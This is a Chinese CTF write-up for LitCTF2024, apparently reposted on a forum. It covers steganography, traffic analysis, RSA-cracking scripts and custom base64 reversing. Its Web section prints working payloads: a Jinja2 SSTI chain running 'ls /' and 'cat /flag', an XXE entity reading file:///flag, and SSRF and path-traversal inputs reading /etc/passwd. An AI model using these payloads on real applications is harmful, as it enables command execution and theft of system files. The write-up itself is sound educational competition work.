LitCTF2024-ZongRan战队WriteUp

打印 上一主题 下一主题

主题 900|帖子 900|积分 2700

ZongRan战队WriteUp

Web+Misc:Muneyoshi
Crypto:chacha
Reverse:laonazaixiuxing
Misc

涐贪恋和伱、甾―⑺dé毎兮毎秒

解题思路:lsb隐写,直接提取
  1. LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5bcb9bd6}
复制代码
你说得对,但__

一张二维码扫描一下

发现不对,发现这是原神网页
binwalk提取一下

然后是四张二维码的图,知心给了次序

然后拼接一下扫描


盯帧珍珠

题目也说了帧,所以应该gif,010看一下

发现gif文件头,我们改一下后缀
随波逐流分帧

得到flag
  1. LitCTF{You_are_really_staring_at_frames!}
复制代码
原铁,启动!


第一部分原神

第二部分铁道
  1. flag{good_gamer}
复制代码
关键,太关键了!

字频统计得到
  1. bingo
复制代码
然后关键词密码解密CTF在线工具-在线关键字加密|在线关键字解密|关键字密码算法|Keyword Cipher (hiencode.com)

Everywhere We Go

audacity看一下波谱图(早上看了一遍,没放大没找到,哭死)
  1. flag{Calculate_Step_By_Step}
复制代码
舔到最后应有尽有

看出来是base64,每一段都是,所以不能整个一起解密,其实是base64隐写
网上找到脚本跑[MISC]Base64隐写-CSDN博客
  1. # base64隐写
  2. import base64
  3. def get_diff(s1, s2):
  4.     base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
  5.     res = 0
  6.     for i in range(len(s2)):
  7.         if s1[i] != s2[i]:
  8.             return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
  9.     return res
  10. def b64_stego_decode():
  11.     file = open("LOVE_LETTER.txt", "rb")
  12.     x = ''  # x即bin_str
  13.     lines = file.readlines()
  14.     for line in lines:
  15.         l = str(line, encoding="utf-8")
  16.         stego = l.replace('\n', '')
  17.         # print(stego)
  18.         realtext = base64.b64decode(l)
  19.         # print(realtext)
  20.         realtext = str(base64.b64encode(realtext), encoding="utf-8")
  21.         # print(realtext)
  22.         diff = get_diff(stego, realtext)  # diff为隐写字串与实际字串的二进制差值
  23.         n = stego.count('=')
  24.         if diff:
  25.             x += bin(diff)[2:].zfill(n * 2)
  26.         else:
  27.             x += '0' * n * 2
  28.     i = 0
  29.     flag = ''
  30.     while i < len(x):
  31.         if int(x[i:i + 8], 2):
  32.             flag += chr(int(x[i:i + 8], 2))
  33.         i += 8
  34.     print(flag)
  35. if __name__ == '__main__':
  36.     b64_stego_decode()
复制代码

The love(随后补的)

010editor打开图片,发现了一个压缩包,以及雷同密码的东西

binwalk分离一下这个图片,提取出来一个压缩包,然后archpr去对压缩包掩码攻击

解压一下,得到一个pasword文本以及假的flag文本
然后对password里面的两次base64解密得到一个密码

我们还有个音频,因为wav文件,然后试试deepsound隐写

找到真正的flag

女装照流量(随后补的)

在流量包追踪流,在tcp流28,里面找到一个压缩包一样的东西

我们用binwalk提取出来一个加密的压缩包
我们就是想办法找密码
在tcp流26里面找到

然后我们对这个litcft这个话url解码一下,看看搞了个啥(这是之前上传的一句话木马的参数)
然后看这里取值是从第三位开始取值,所以我们base64解码应该从第三位开始

解出来一个这,就发现了这个压缩包的密码

解压一下

Web

SAS - Serializing Authentication System

一个反序列化,我们构造一下

然后base64加密

然后粘贴进去就好了

一个....池子?

这种输入什么,返回什么,一眼SSTI,输入
  1. {{7*7}}
复制代码

又输入
  1. {{7*'7'}}
复制代码

确定是Jinja2
  1. {{''.__class__.__mro__[1].__subclasses__()}}
复制代码
脚本看看os模块在哪,即os._wrap_close(此处我是复制到了浏览器回显的内容,建了一个文本)

开始找全局类
  1. {{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['__builtins__']}}
复制代码

开始找import这个类,之后就使用这个类去进行命令执行
  1. {{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['__builtins__']['__import__']('os').popen('ls /').read()}}
复制代码

读取flag
  1. {{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
复制代码

exx

这道题也是很熟悉,前几天正好好做到了,在[NCTF2019]Fake XML cookbook做过
而且题目就是xxe

然后xxe注入
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE hack [
  3. <!ENTITY xxe SYSTEM "file:///flag">]>
  4. <user><username>&xxe;</username><password>123</password></user>
复制代码

浏览器也能套娃?

先试了试百度的,可以访问,应该是ssrf
然后利用file协议
  1. file:///etc/passwd
复制代码
的确返回了
然后直接检察flag
  1. file:///flag
复制代码

高亮主题(划掉)配景检察器

开始以为文件包含,实际目次遍历,也暗示了让你点击选择主题
抓包发现

然后我尝试了
  1. theme=../flag.php
复制代码
发现路径回显了

然后应该就是目次遍历,先找根目次,所以就是试,最后如许
  1. theme=../../../../etc/passwd
复制代码

然后检察flag
  1. theme=../../../../flag
复制代码

Crypto

common_primes

共享素数

给了一个e,和多组的n,c。这些n,c还都是一个明文m通过对差别的n进行gcd()算法,求出最大公约数(即p)
求出p了,就能求出q,进而求出d, 解出明文m
  1. from Crypto.Util.number import *
  2. import gmpy2
  3. n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
  4. n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
  5. c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
  6. c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
  7. p = gmpy2.gcd(n1, n2)
  8. if p == 1:
  9.     exit("n1和n2没有不为1的最大公因子")
  10. q1 = n1 // p
  11. q2 = n2 // p
  12. phi_n1 = (p - 1) * (q1 - 1)
  13. phi_n2 = (p - 1) * (q2 - 1)
  14. e = 65537
  15. d1 = gmpy2.invert(e, phi_n1)
  16. m1 = pow(c1, d1, n1)
  17. print(long_to_bytes(m1))
复制代码

small_e

小明文攻击

适用情况:e较小,一般为3。 公钥e很小,明文m也不大的话,于是 m^e = k*n + c 中的的k值较小 。从 0 开始穷举k,对每一次 k\*n + c 开e次方,直到得到整数结果,整数结果即为明文
思路:

  • 遍历c_list中的每个元素c。
  • 对每个c,计算其立方根(c ** (1/3))。
  • 使用round()函数将立方根的结果四舍五入到最接近的整数。
  • 使用chr()函数将四舍五入后的整数转换为对应的ASCII字符。
  • 使用列表推导将上述过程应用于c_list中的每个元素,生成一个新的字符列表。
  • 使用join()方法将字符列表中的字符连接成一个字符串,并用空字符串''作为连接符。
  • 将最终得到的字符串赋值给变量flag。
  1. from Crypto.Util.number import *
  2. '''
  3. n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229
  4. c_list = [438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125]
  5. '''
  6. e=3
  7. c_list = [438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125]
  8. # 解密
  9. flag = ''.join([chr(round(c ** (1/3))) for c in c_list])
  10. print(flag)
复制代码

CRT

典型的中国剩余定理

设[
](javascript是整数m1, m2, ... , mn的乘积,并设[
](javascript,即[
](javascript是除了mi以外的n − 1个整数的乘积。
设[
](javascript为[
](javascript模[
](javascript的数论倒数:[
](javascript
方程组的通解情势为:[
](javascript 在模[
](javascript的意义下,方程组[
](javascript只有一个解:[
](javascript:)
  1. from gmpy2 import *
  2. from Crypto.Util.number import *
  3. n_list = [16284549467215459860410219597024063610473673936290355100056351270928590364613988243842136274404316005691228851657707321037165033870804113001550943722154728825877813376691406849932899693973387282799799300076386870984605589385666352824740622229871992727011987847056429850720207816048044538068625281977059392365698031140268787802886018698622326103590834314940280191560618753408741810842189500991556860816195814550884416201667771827582907240044216817705876129993030771943110090291383205720587816820335839616491257078918258839986942101986011761809815192713499542329037877195448381127272183807358011340669666067708631770629, 18874449316683637715798227591079994715220250787784886038879393543606786017564740000007881151950098752600868917271951840433212429335449734520464340460962870875528399394278620757114832553403790578599857545045548782264680469899469733610229824411943119032419052885845035690046611519195843721184869834557481917675133504256150187042147269721516549831707784660343957497462516302534697915170087780048689613921549811073805796084838801677337285061667687328043565589734203160196445644144798845303226939960633632967262794622796927905511547760465906600293964201276584199569541295613430382495278352554280248372584117917520373403063, 13076908038170870040678205430512292701702182383746502395067907294908791921755288520053025319156015431312084703402938465525746196078114225446604200656116848235842943713613538425047483331236843707852400888407037547782069810250229035895403347555287877301409523248658733500963325361631821388259137561613536275954710848967383282290486421290937700396986650186236373076267188846407623991396459884128392118502565707689494271484411270172764553747426536404781904379621870642658609027074757591034785814602602669666257742808888301912575857074138613714693225934811254682687014167022418837710552784925328161453554291397460324648009, 16378397749449315054623854181248970586445531404081850673625192835136416152712968780451149412408644689393643801969477034418829482292894114547339155149570026460766659623960243723741437212596779580161767297321149670682427000047000712397718946486472118638780090056091542235702825736985864963592363421943353726975184567975451918105247987573044010599149673027905021130138957885113596669923366241161695565837122963976988635649640547443201925034845002113548522307980664206158188711548845245115694530280375848933481227411503982144621846732228815377656607983358898296200251680387871097014543693213877074718748683243193584032307, 16561385664507310659703460597815131331175620854125898893505075859155749890511144622913872488783791188180242785479319865960633526830814389031162024199864660323116594980719331106368397062852472114748955889862650270563487466194545102072373606964935390400328607060427961354290055443710114639781630071832997101380097322119243847190066266823291236828718017385537809056374392924015081117151158033309950857254309859691442649968222489177513517837849318096762149934959873646750864750378500351560253453052870424424427631414365680967482680769587570457938750679258205430151223470761518748987038822469422647137405393267829437115661, 27046459277694602448592524332290812177367631061914086306537115904955610821120392893033090428641088790759783810505225125618182431554899875183961418066959811832057748013953098277804562621152445358481976221983179988257658622392669474721482514871569548645762057681213193026792187879687736985533503283192537252904253565317763028483404018596514523171644666753183517320602643087213777450193062371986178076259168860180486748722567326484282893069173271762518110920685267104269429407229859993484209639764440874444582271870147714648808732931399985199947422716048582921727875237459841962093669408116061538502016560235135864203187, 26656304012303785684433399162699704691814095671158676770279115782799819097401667611247727555104978633884125246262630572285699884039990597392442760154412046297340436752418017863089245998557221143069544231044947583991838381529081774245290065442299808728542273138931461712874414662570197142795674160946728850452526786804787060582942714635903943088540232346797109678405554499677459722287119125623191067780196726820726456507802067342186435679967664032334075189916733352409403602499298544374351405005339596410771187606377781063995755795494682971576602822244457151090982442689870155439418641987576796032975032982289138437523, 15430339362720939092241771692575439580654810089653970198317149114896596238037181680990393763581287618371554846982066535980062263001619707606585504112155505335852802431392213092366756058196440934454810685146101829974548748060332228708229146991380736668433937967747468330692411917426038703359064546899782163287526256750039064809093426968389929333819191207284079703677535201724530391246890003928025687520199553868464322185815354591044585221486768114570373992719977614232251764409893171263639718616620216630797031237033969290978218328767317279717825174597882707772846934097838694418308236053838800414834627456689940059791, 18567217334857361786819913577261265078968886790989901098066320191741355103505838160569648197557648144402318678198622602821398215265062903833980611331991924162821902705417905758829862021425828310098183855605162264362860669298956185657733562472361876121183146316333113433547558152618165933865808900552444816088227098441082165477634812598644531670232452276788291537671779564658425789722419032860803991282640262179618723470437500425645011269733791887608702964571393657348573277992781115199432229176320688981128912052074722348557580462855962547978505669490105804175211061178124988260957275350940324541120102820024607088877, 10779265483116424102513175333888918968735912126282080716409998310381429332303237383487628664073567555863832134055945636657550074126628975203541323090803941066893475056319351674995896497450955897099614503220268400135112031310669044989879413178359759130908036871112663414065113664951350386824618325532532761206110118269005313068956882540007289422776225718534047101012876346009269097785027585782628699252006893938086064139042361425306202870627629615292450559291783382487842611805623198422252868756644595549320868144393828052610953995595915294930701560599016888539448223935199483656756326744914184772404419968728372785709]
  4. c_list = [644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049, 644471004204038587358576160407417490938643306027967868486894032686145771114614076076527690366372762614045209015175209880518279715723521182568975220993976451106760236390912778371250746699463366097164369672789316408520079193370191810477580463635224092686607896863852671881543817329521589324466628227730589108339783619357530316049670209743367574983963078106666377633552745384690084183804939047320711873053569717432670155045869610477526046503868585690544254566603491357805849009447674789480061139157433156989123228768899846183291164697221164452100037658563026884070301188916984245139290761779580443049]
  5. def crt(n_list, c_list):
  6.     n = 1
  7.     for i in n_list:
  8.         n *= i
  9.     N = []  #Mi
  10.     for i in n_list:
  11.         N.append(n // i)   #追加到列尾
  12.     t = []  #ti
  13.     for i in range(len(n_list)):
  14.         t.append(invert(N[i], n_list[i]))   #求逆元
  15.     sum = 0
  16.     for i in range(len(n_list)):
  17.         sum = (sum + c_list[i] * t[i] * N[i]) % n
  18. # c_list[i]即为通解中的a[i]
  19.     return sum
  20. e = 10
  21. M = crt(n_list, c_list)
  22. m = iroot(M, e)[0]
  23. flag = long_to_bytes(m)
  24. print(flag)
复制代码

Polynomial

解方程+多因子

解方程求出p,q,r
φ(n)=φ(p)φ(q)φ(r)=(p−1)(q−1)(r−1)
  1. from Crypto.Util.number import *
  2. import sympy as sp
  3. import gmpy2
  4. p,q,r=sp.symbols('p q r')
  5. Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142
  6. Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760
  7. Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832
  8. c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900
  9. eq1= p**2 + q-Polynomial1
  10. eq2= q**2 + r-Polynomial2
  11. eq3= r**2 + p-Polynomial3
  12. sol = sp.solve((eq1 , eq2,eq3), (p, q, r))
  13. # print(sol)
  14. p=7625900647186256736313352208336189136024613525845451962194744676052072325262646533642163553090015734584960267587813894745414843037111074258730819958397631
  15. q=13103163880267648221851617296336865295731278851373488569182099549824826973560296247802058712197255433671825570972129891122274435889696663320490806634737981
  16. r=9898805297737495640281149403465681435952383402115255751446422784763742395898034378399391604085137196351802539935697155137226495010184322468562791581344399
  17. e = 65537
  18. n = p * q * r
  19. d = gmpy2.invert(e, (p - 1) * (q - 1) * (r-1))
  20. m = pow(c, d, n)
  21. print(long_to_bytes(m))
复制代码

真·EasyRSA

欧拉函数

n=p^4
φ(n)=p4-p3
  1. from Crypto.Util.number import *
  2. import gmpy2
  3. '''
  4. p=getPrime(256)
  5. print(p)
  6. n=p**4
  7. m=bytes_to_long(flag)
  8. e=65537
  9. c=pow(m,e,n)
  10. print(c)
  11. '''
  12. c1= 78995097464505692833175221336110444691706720784642201874318792576886638370795877665241433503242322048462220941850261103929220636367258375223629313880314757819288233877871049903331061261182932603536690216472460424869498053787147893179733302705430645181983825884645791816106080546937178721898460776392249707560
  13. c2= 3784701757181065428915597927276042180461070890549646164035543821266506371502690247347168340234933318004928718562990468281285421981157783991138077081303219
  14. n = 111880903302112599361822243412777826052651261464069603671228695119729911614927471127031113870129416452329155262786735889603893196627646342615137280714187446627292465966881136599942375394018828846001863354234047074224843640145067337664994314496776439054625605421747689126816804916163793264559188427704647589521
  15. c=93492332457019255141294502555555489582661562346262162342211605562996217352449
  16. n1=93492332457019255141294502555555489582661562346262162342211605562996217352449
  17. p = gmpy2.iroot(n,4)[0]
  18. print(p)
  19. e = 65537
  20. phi = p**4-p**3
  21. d = gmpy2.invert(e,phi)
  22. m1 = pow(c1,d,n)
  23. print(long_to_bytes(m1))
复制代码
运行得到hint

对比p和hint的位数发现只差一位,猜测hint为p,用c2,n,e,p,q进行正常RSA
  1. from Crypto.Util.number import *
  2. import gmpy2
  3. c2= 3784701757181065428915597927276042180461070890549646164035543821266506371502690247347168340234933318004928718562990468281285421981157783991138077081303219
  4. c=93492332457019255141294502555555489582661562346262162342211605562996217352449
  5. n1=93492332457019255141294502555555489582661562346262162342211605562996217352449
  6. p = 102846375519753428570573823986925744957687092615041080268232889119455234034483
  7. q = 93492332457019255141294502555555489582661562346262162342211605562996217352449
  8. e = 65537
  9. phi = (p-1)*(q-1)
  10. n= q * p
  11. d = gmpy2.invert(e,phi)
  12. m1 = pow(c2,d,n)
  13. print(long_to_bytes(m1))
复制代码

little_fermat

费马分解

p,q是两个素数,而且他俩在素数序列里面就是一前一后的关系。所以他俩的乘积开根号得到的结果一定是在p,q之间的一个数字,(而且一定不是素数,因为p,q就是紧邻的两个素数)。
那我们找这个开方出来的数字的下一个素数,一定是q,因此我们再让n/q就可以得到两个素数。
  1. from Crypto.Util.number import *
  2. from sympy import *
  3. from gmpy2 import *
  4. '''
  5. m = bytes_to_long(flag)
  6. e = 65537
  7. p = getPrime(512)
  8. q = nextprime(p)
  9. n = p * q
  10. x = gen_x(p)
  11. assert pow(666666, x, p) == 1
  12. m = m ^ x
  13. c = pow(m, e, n)
  14. print(f'n = {n}')
  15. print(f'c = {c}')
  16. '''
  17. e = 65537
  18. n = 122719648746679660211272134136414102389555796575857405114496972248651220892565781331814993584484991300852578490929023084395318478514528533234617759712503439058334479192297581245539902950267201362675602085964421659147977335779128546965068649265419736053467523009673037723382969371523663674759921589944204926693
  19. c = 109215817118156917306151535199288935588358410885541150319309172366532983941498151858496142368333375769194040807735053625645757204569614999883828047720427480384683375435683833780686557341909400842874816853528007258975117265789241663068590445878241153205106444357554372566670436865722966668420239234530554168928
  20. sn=isqrt(n)
  21. q=next_prime(sn)
  22. p=n//q
  23. phi=(p-1)*(q-1)
  24. d=invert(e,phi)
  25. m=pow(c,d,n)
  26. print(long_to_bytes(m^p))
复制代码
Reverse

编码喵

用IDA打开

输入的字符串颠末 LitCTF_tanji_calculate::Encode[abi:cxx11]((__int64)v16, v21, v12, v11);加密后与"tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0="进行比较。
进入 LitCTF_tanji_calculate::Encode[abi:cxx11]((__int64)v16, v21, v12, v11);分析应该是base64编码,看看a2也就是编码序列是什么

a2=v21=v11=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/”

到这里,就是自界说的base64解密,直接用工具解密,得出flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

科技颠覆者

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表